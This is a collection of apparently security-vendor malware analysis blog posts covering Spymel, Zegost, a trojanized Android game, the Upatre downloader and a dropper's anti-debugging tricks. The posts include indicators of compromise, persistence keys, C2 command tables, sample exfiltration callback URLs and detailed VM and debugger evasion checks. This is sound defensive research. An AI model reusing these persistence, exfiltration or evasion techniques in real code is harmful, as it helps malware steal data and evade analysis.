Yet Another Signed Malware - Spymel

Introduction

ThreatLabZ came across yet another malware family where the authors are using compromised digital certificates to evade detection. The malware family in this case is the information stealing Trojan Spymel and involved a .NET executable signed with a legitimate DigiCert issued certificate.

The infection cycle typically starts with a malicious JavaScript file that arrives in a ZIP archive via e-mail attachment. Once the user opens the JavaScript file, it will download and install the malware executable on the victim machine.

The malicious JavaScript file, surprisingly, in this case is not obfuscated and easy to read as seen in screenshot below. The Trojan Spymel executable gets downloaded from a remote location hardcoded in the JavaScript.

 Hardcoded URL for Spymel Download

Information Stealer - Trojan Spymel

The downloaded malware executable is a highly obfuscated .NET binary, which is digitally signed with a certificate issued to “SBO INVEST”. The certificate was promptly revoked by DigiCert when notified and, therefore, is not active in any attack. We noticed a newer variant arose within two weeks of the first variant, using another certificate issued to "SBO INVEST' that is also revoked.

Certificate used to sign Spymel

Spymel Payload Hashes
4E86F05B4F533DD216540A98591FFAC2

2B52B5AA33A0A067C34563CC3010C6AF

Installation
Spymel drops itself as “svchost.exe” and “Startup32.1.exe” in the following location:

WinXP
%Application Data%\ProgramFiles(32.1)\svchost.exe
%User%\Start Menu\Programs\Startup\Startup32.1.exe

Win7
%AppData%\Roaming\ProgramFiles(32.1)\svchost.exe
%AppData%\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\Startup32.1.exe
 
Following registry entries are created to remain persistent on the target system:

WinXP
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run @ Sidebar(32.1)
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run @  Sidebar(32.1)

Win7
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run Sidebar(32.1)
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run Sidebar(32.1)

Spymel Trojan configuration data including Command & Control server and File & Registry information is hardcoded within the executable as seen below:

Spymel settings

Module Information
During our analysis, we came across following modules in the malware executable:

Keylogging
This module logs all user keystrokes into a log file at the following location:

%Application Data%\ProgramFiles(32.1)\svchost.exe.tmp

Below snapshot shows the keylogging module where the name of the class is "kyl":

Keylogging code

ProtectMe
This module allows Spymel to prevent the victim user from terminating malware and other running processes on the system using tools like TaskMgr, Procexp, ProcessHacker and Taskkill. The malware disables the 'OK' button on the confirmation prompt for Process Explorer as seen below:

Microsoft Taskkill command won't work as expected either despite the SUCCESS notification:

Below is the code snippet of class “ProtectMe”:

Code of ProtectMe class

The malware monitors application like Task Manager, Process Explorer, and Process Hacker. It uses GetForegroundWindow() API to get the handle of active window and changes it's functionality if process is from the above list.

Network activity
It connects to a remote domain android.sh (213.136.92.111) on port 1216.  Upon successful connection, Spymel starts sending information about the active process window. Below is a screenshot of network capture:

                                      

awt<Base64 endcoded active window title>djamel

Below are some of the commands that the malware can receive from the Command & Control server:

Command	Description
i	Sends information about user name, OS name, running processes, Video module flag, active window title.
GetDrives	Information about drives in system.
FileManager	Information about folders and files for given location.
Delete	Deletes given file or folder
Execute	Executes given file.
Rename	Rename given file or folder
sup	Uninstall itself
klogs	Upload keylogging file to C&C. *
klold	Upload requested file to C&C *
ks	Search for given string in all keylogging files.
dklold	Delete given keylogging file.
dp	Sends Desktop snapshot
dform	Download file from give URL
VideoMode	On|Off video recording
veUpdate	Provide settings of video recording for specific processes.

  *File contents will be encrypted using base64 encoding.  

Recording video of browser processes

Conclusion

Using digital certificate to disguise malware is common and Spymel is yet another example of this. Spymel is an information stealing malware that spies on all user activity on the compromised machine and relays it to the attacker. This malware typically arrives via spammed e-mail leveraging social engineering to infect the target system.

Zscaler’s ThreatLabZ has confirmed coverage for the initial downloader and Spymel payloads, ensuring protection for organizations using Zscaler’s Internet security platform.

Analysis by Tarun Dewan and Amandeep Kumar

Chinese Backdoor Zegost delivered via Hacking Team exploit

Introduction

Zscaler ThreatLabZ has been closely monitoring the usage of Hacking Team's leaked exploits in the wild since July, 2015 and recently uncovered the Emissary Panda APT attack leveraging these exploits. In past two months, we've spotted multiple instances of Zegost Backdoor Trojan installation attempts leveraging Hacking Team's Adobe Flash exploit (CVE-2015-5119) payload. These attacks do not appear to be targeted, but the payload involved in the infection cycle has some resemblance to recent APT payloads from HttpBrowser & the PlugX RAT family.

Attack Chain

The infection cycle starts with a legitimate Chinese real estate and shopping site www[.]kongquechang[.]com, which appears to have been compromised by the attackers and contains an injected script. The injected script will cause a series of redirects leading to Hacking Team's exploit payload as seen in Figure 1. The majority of users were led to the original compromised site following a Baidu search.

Figure 1: Compromised Chinese real estate & shopping site

The site www[.]kongquecheng[.]com is still infected but the exploit server appears to be down at the time of writing this blog. Attackers are abusing the Chinese URL shortening service t.cn to redirect victims to the attack server and also Baidu's URL shortening service dwz.cn to deliver the Adobe Flash exploit payload as seen below:

Figure 2: Zegost Backdoor Attack Chain

The Flash exploit payload (CVE-2015-5119) involved here is from the Hacking Team's leaked archive with updated shellcode. Upon successful exploitation, the embedded shellcode will trigger the download and execution of the Zegost executable from a predetermined location.

Figure 3: Hacking Team's Adobe Flash Exploit

Figure 4: Embedded shellcode to download & install Zegost

Zegost Payload Iterations

During the course of our monitoring we observed the attackers switch the malware payload multiple times.

Payload Type #1 - APT RAT like Zegost Installer

Filename:
svhost.exe

MD5:
E04F3C9C2F7BE694628AECCD23E8839D

The Zegost payload was being delivered as part of an installer archive, which is similar in structure to the APT RAT PlugX and HttpBrowser as detailed here. The downloaded installer was svhost.exe, which has following file structure:

Figure 5: APT RAT like Zegost installer archive

The Zegost installer is responsible for dropping the above three files and running the legitimate Ping_Master_Pro utility DATA.exe. The legitimate binary contains the data.dll in the import table, ensuring that the DLL will be loaded before it runs. The data.dll that gets loaded in this case, will be a fake VirtualBox display driver DLL file present in the same directory and it will patch the entry point of the main executable (DATA.exe) file with a jump instruction to run the DLL’s code instead. This technique is also known as DLL Hijacking which ensures that the fake display driver DLL gets loaded by abusing the Windows DLL load order. The DLL’s code is responsible for decrypting and running the Zegost Backdoor payload from the fafentuqiang.png file in the same memory space of the benign executable.

We observed a bug in the persistence module for this payload, which resulted in an incorrect path getting added to the registry entry created by the malware. The result was that upon system reboot the user's machine will no longer be infected with the Backdoor Trojan.

Payload Type #2 - Vanilla Zegost

Filename:
svhost.exe

MD5:
8F3B2C449793BC1538328CCC9BDC9CCD
62C705A0232EA6D4E3E3CE93F7506ACC

A modified Zegost payload was being delivered in decrypted form abandoning the installer archive structure. This payload was recently compiled and purports to be a XLLuaRuntime Dynamic Link Library file as seen below:

Figure 6: Recently compiled Zegost payload

Figure 7: Zegost payload file meta data

During our analysis we noticed that the persistence issue that existed in the previous iteration was resolved in this payload and the malware successfully remained active upon system reboot.

Zegost Infection Cycle

• Zegost Trojan drops a copy of itself in the Windows system directory as %SYSTEMDIR%\Autoexec.exe

• It creates the following registry key to ensure persistence upon system reboot:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ Nobug = %SYSTEMDIR%\Autoexec.exe

• We also saw an alternate code for achieving persistence by registering a new Windows Service:

HKLM\SYSTEM\CurrentControlSet\Services\

ServiceName - DirectX dwx

DisplayName - DirectX Remover auy for Windows(R).

ImagePath - %SYSTEMDIR%\Autoexec.exe

• The Trojan reports the infected system information to a predetermined remote server at the following location:

Domain - www[.]svshot[.]com

Server IP - 123.57.54[.]57

Server Port - 8999

• The Command & Control server domain used in this attack was recently registered and points to a dedicated server hosted on the shady Chinese autonomous system - AS37963 (CNNIC-ALIBABA-CN-NET-AP) as seen below:

Figure 8: Command & Control server hosted in China

The same server is also used for the initial Adobe Flash exploitation attempt.

Conclusion

Hacking Team's exploit payloads remain a popular choice among cyber criminals for weaponizing their payloads. This is the first instance of the Zegost Backdoor Trojan being delivered using Hacking Team's exploit. The Zegost Backdoor payload iterations we observed in this attack chain indicates that the author is testing out new payloads.

Zscaler’s ThreatLabZ has confirmed coverage for these exploits and for the Zegost variants, ensuring protection for organizations using Zscaler’s Internet security platform.

Research by: Deepen Desai, Amandeep Kumar

Trojanized and Pirated Assassins Creed app

During our daily research, we recently came across Android malware disguising itself as an Assassins Creed app, which is a popular paid gaming application. The malware in question will install a pirated version of the Assassins Creed game that functions normally, making end user oblivious to the malicious activities it performs in background.

Application information:

• File MD5 : 3E076979644672A0EF750A4C3226F553
• File Size : 3.25 MB
• File Name : assassins_creed.apk
• Package Name : com.dsifakf.aoakmnq

Permissions:

• android.permission.ACCESS_NETWORK_STATE
• android.permission.GET_ACCOUNTS
• android.permission.INTERNET
• android.permission.PROCESS_OUTGOING_CALLS
• android.permission.READ_EXTERNAL_STORAGE
• android.permission.READ_PHONE_STATE
• android.permission.READ_SMS
• android.permission.RECEIVE_BOOT_COMPLETED
• android.permission.RECEIVE_SMS
• android.permission.SEND_SMS
• android.permission.WAKE_LOCK
• android.permission.WRITE_EXTERNAL_STORAGE
• android.permission.WRITE_SMS

The malicious application is capable of sending multi-part text messages, harvesting text messages from a victim's device, and sending stolen information to a remote Command & Control (C2) server. We were able to locate phone numbers belonging to Russian bank "Volga-Vyatka Bank of Sberbank of Russia" in the malicious application code for which SMS messages are being intercepted to steal sensitive information. Another interesting feature we saw is the usage of AES encryption for all the C2 communication. It also harvests the mobile number and Subscriber ID information from the victim device for tracking purposes.

The screenshot below shows the AES crypto library configurations. All the sensitive harvested data and C2 communication is encrypted and decrypted using this configuration.

Code snippet showing the string containing the Russian Bank phone numbers:

Command and Control server information in encrypted and decrypted form:

We saw the following two command and control servers hardcoded in the malicious application:

•  bnk7ihekqxp.net
•  googleapiserver.net

The screenshot above shows the usage of AES for C2 communication. A sample call back request from the infected device will be of the following format:

"http://bnk7ihekqxp[.]net/iaefu.php?1=4fe08eb4b43XXXXXXXX&id=X".

The code snippet below shows the SMS and Subscriber ID information harvesting feature:

It sends the harvested information via a POST request as seen below:

Code snippet showing the SMS sending feature:

Code snippet showing the SMS interception and storage arrays:
.

The intercepted SMS data, Subscriber ID, and phone number information are then sent to the C2 server in an encrypted form
.

Here is a sample request:

http://googleapiserver.net/kysnfhwo.php?1=4fe08eXXXXXXXXXXXXXXXXXXXX&4=3XXXXXXXXXXXXXXX

The malicious app performs the activity of harvesting sensitive information and sending it to the remote server on a regular interval by setting up an alarm as seen below:

Upon installation, the user will see the game icon on the screen, that disappears shortly thereafter with the malicious process still running in the background.

Recommendation:

Cybercriminals often lure users with pirated versions of popular paid mobile applications that are Trojanized to steal sensitive information. It is strongly recommended that users stay away from such offers and download mobile app only from the trusted sources like the Google Play store.

Evolution of Upatre Trojan Downloader

Background

Upatre is a Trojan Downloader family that once installed, is responsible for stealing information and downloading additional malware onto the victim machine. It typically arrives via spammed e-mail messages from the Cutwail Botnet, either as an attachment or via a URL pointing to a remote hosting site. We are also seeing Exploit Kits being used as a vector for Upatre infections in the wild.

Upatre Downloader cybercrime network

Upon successful infection, Upatre has been responsible for downloading malicious payloads from known malware families such as:

• Zeus (Zbot) banking Trojan
• Rovnix Volume Boot Record (VBR) bootkit
• Dyreza (DYRE) banking Trojan

The Upatre malware family was first discovered in August 2013 and exponentially increased its infection rates by October, 2013. With the demise of the popular Blackhole Exploit Kit in October 2013, many malware authors resorted to traditional spam with the Upatre Trojan downloader as a medium for delivery of the ultimate payload, which also contributed to the increase in infections.

The Upatre malware authors have deployed multiple new techniques over the past year, which is the reason why it is one of the most prevalent malware families today. Some of the features that we have tracked include:

• Password protected attachments - This makes the e-mail look more legitimate and confidential
• Spammed as an attachment inside an attachment - The spammed e-mail messages contained another e-mail message (*.msg, *.eml) as an attachment which contains the actual Upatre archive attachment
• Email messages containing a URL pointing to the actual payload
• Randomized header bytes and encrypted malware downloads to evade detection
• Usage of SSL encryption for Command & Control (C2) communication and subsequent malware downloads

Recent Attacks

We have seen an increase in the number of Upatre Downloader infections occurring through spammed messages containing fake invoices or voice-mail messages in the past month. The final payload being downloaded from these recent Upatre infections tends to be the Dyreza Banking Trojan. Below is a sample e-mail message from this campaign:

Cutwail spam e-mail leading to Upatre

If the user clicks on the link in the e-mail, they will be redirected to the same site with additional information identifying the operating system in the URI before serving the payload as seen here:

GET /documents/invoice_101114_pdf.php?h=[3 digit integer]&w=[4 digit integer]&ua=[User-Agent String]&e=1 HTTP/1.1

The user will then be prompted to download a zipped archive file, which contains a new variant of the Upatre Trojan downloader as seen below:

Upatre download in an archive

The user is redirected to a legitimate site (i.e "www.hsbc.com"), if the operating system is not supported or is redirected at the end of the download cycle.

The Upatre executable masquerades as a PDF document as seen here:

Upatre executable with PDF icon

The infection cycle begins once the user opens the enclosed executable file. It makes a copy of itself as "%Temp%\pvavq.exe" and runs it. The newly launched process "pvavq.exe", will then delete the original executable "invoice10-11-14_pdf.exe". It connects to a remote C2 server over TCP port 40007 to report the infection and supply information about the Month and Year of spammed binary, victim computer name, operating system information, etc.

Upatre network communication

It further downloads the Dyreza banking Trojan in an encrypted form as "%Temp%\utt214.tmp" on the victim machine to evade network detection. It then decrypts the downloaded payload as "%Temp%\EXE1.exe" and executes it. This will initiate the Dyreza banking Trojan infection cycle.

Dyreza banking Trojan encrypted and decrypted payload

This variant uses an incremental 4-byte XOR key in the decryption routine as opposed to the hardcoded key we have seen before.

Part of Upatre decryption routine for downloaded payload

The following screenshot shows the custom User-Agent string and hard coded remote server locations we found during our Upatre binary analysis:

unpacked Upatre binary

Indicators of Compromise

Here is a sample list of HTTP requests that will provide a good indication of an Upatre and Dyreza compromise on your network:

Upatre indicators of compromise

Additionally, we have seen the following three hardcoded User-Agent strings being used for the HTTP requests in the Upatre variants that we have analyzed:

• ENUPDATE
• ONLYUPDATE
• UPDATE

Conclusion

The Upatre Trojan downloader family continues to evolve and is one of the most prevalent malware families at present. It continues to add new malware to its cyber crime pay-per-install nexus, serving as a vector for downloading and installing additional malware family payloads.

Zscaler ThreatLabZ is actively monitoring this threat and ensuring full security coverage for our customers.

The Story of a Trojan Dropper III

Introduction:

In previous posts (story of Trojan dropper part I, II) we performed both static and dynamic analysis on the threat and also developed a broad idea of what the malware was doing in it’s initial stages. We now set out to investigate the reason behind the crash of the dropped file (“Adobe.exe”) and at the same time we want to retrieve the payload from this particular malware sample.

Analysis:

Let’s go ahead and debug the file. This file (“Adobe.exe”) was found to be packed (custom variant) and the unpacking routine is similar to the approach detailed in part II of this post, so let’s skip all the gory details and dive right into it.

After unpacking the entire binary in memory, control is transferred to a newly unpacked region at the address "0x401634". Now the action begins from here and we get our first decryption routine, which is a simple 1-byte XOR with a static key as seen in the image below which reveals more code

Figure 1: Decrypt code

If we carefully look at the new code below, we can observe that it is riddled with JMP instructions and occasionally we find a few garbage values. The code is crafted in such a way that it resists disassemble attempts which makes reverse engineering the sample more difficult and somewhat painful.

Hidden in between these JMP’s in plain sight is an instruction that is familiar to us by now(i.e the instruction to fetch the address of PEB (Process Environment Block)).

Figure 2: Fetch address of PEB

At this point we can only speculate on why the malware needs the PEB address. Moving further in the code, we encounter another decryption point that is exactly same as the first one, which decrypts more code. Now the control is transferred to the newly decrypted code.

Figure 3: NtGlobalFlag (anti-debug)

In the image above, we have an interesting bit of code. Recall that the malware already collected the address of PEB. At this point, using the instruction CMP DWORD PTR DS:[EDI+68], ECX (here EDI holds the address of PEB which is "0x7FFD4000" and ECX holds a constant 0x70 ) a comparison is performed, after which a JNZ instruction decides the fate of the control flow.

Here we get our first glimpse of the anti-debugging technique employed by this malware. The instruction CMP DWORD PTR DS:[EDI+68], ECX compares the value of the ECX register (i.e. 0x70) to the location in the PEB structure known as “NtGlobalFlag”. The field is set to a value of “0x70”, if the process is spawned under a debugger.

In our case, this is true since we are debugging the file. Finally, the JNZ instruction at "0x401511" is not taken, which lands us in an invalid region in memory, thus triggering the anti-debugging. Let’s jump here and continue with our analysis. We now have another layer of decryption, which reveals more code after which, as usual, control is transferred to this region.

We then reach another piece of code, which is revealed only if we keep up with the control flow.

Figure 4: File-path, name identification (anti-debug)

The above code uses “strstr” to look for a string named “sample” anywhere in file path of our currently debugged file. If found, “strstr” returns a pointer to first occurrence of search string(i.e "sample") in file-path, or else it returns zero. The malware then checks the return value in EAX and takes a conditional jump in the form of JE instruction at "0x401135". If the jump is not taken, the code lands in “ExitProcess”, a call which terminates the process.

This is the second anti-debugging technique the malware employs, although not-an effective one in my opinion considering the odds of a file-path or malware name containing the name “sample”.

Figure 5: GetVolumeinformation, Volumeserial (anti-debug)

Again, here we have another anti-debugging technique where the malware retrieves the Volumeserial number using the API GetVolumeinformation and compares it with  “0CD1A40” and “70144646”. If either comparison matches, the code jumps to the ExitProcess call.

Another anti-debugging technique follows immediately thereafter in the form of “EnumSystemLocalesA”. The first argument that "EnumSystemLocalesA" accepts is a pointer to the callback function. Here the malware does a neat trick. If we look at the code below, at address “0x401179” a constant “0x2” is pushed onto the stack, which is followed immediately by a CALL. 

When this CALL is executed, it pushes the return address onto the top of the stack (which is "0x401180") and the EIP (Instruction pointer) now lands at the "EnumSystemLocalesA" call. Now if we observe the stack, the value on top of the stack is the return address, which naturally becomes the callback function address for "EnumSystemLocalesA" . When the "EnumSystemLocalesA" API is executed, control falls to the callback function, which continues the execution of the code. 

Figure 6: EnumSystemLocalesA (anti-debug)

Let's now continue our debugging from the address “0x401180”. Not far from here, yet another anti- debugging technique is uncovered. This time the malware retrieves the ‘Diskname’ from the registry. 

Figure 7: Diskname (anti-debug)

"RegOpenKeyExA" (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Disk\Enum)  and  "RegQueryValueExA" then uses “strstr” and searches for signs of a virtual environment such as “Xen”, “Vmware”, “Qemu” and also looks for string “virtual”.

Figure 8: Search vm strings(anti-debug)

Once the malware detects a virtual environment, it changes the control flow and land us in an invalid memory region. If we play along, we can observe something interesting here.

Figure 9: Adobe.exe crash

There we go. We can finally reproduce the crash that happened during the first stage of our analysis.
Ok, so a through binary analysis is often not so straight forward after all !!!

Figure 10: sandbox identification(anti-debug)

Let’s move on and see what surprises the malware has this time. Below, we can see anotherpiece of code that checks for a DLL name called “sbiedll” . Here, the malware checks whether it is run in a popular sandbox called “sandboxie”. If found, as usual, the malware bails out.


Immediately afterward, the malware performs a decryption routine to reveal compressed data, which is again packed with aplib and below we can observe the aplib unpacking routine which decompresses the data to a PE file.

Figure 11: Aplib decompression routine

Soon after, control is passed to the newly decompressed file. Below, we can see the new file being executed.

Figure 12: New PE-file in memory

Debugging further, we can observe the malware revealing the final trick that it has up it’s sleeve ,which I will explain in the next post in this series.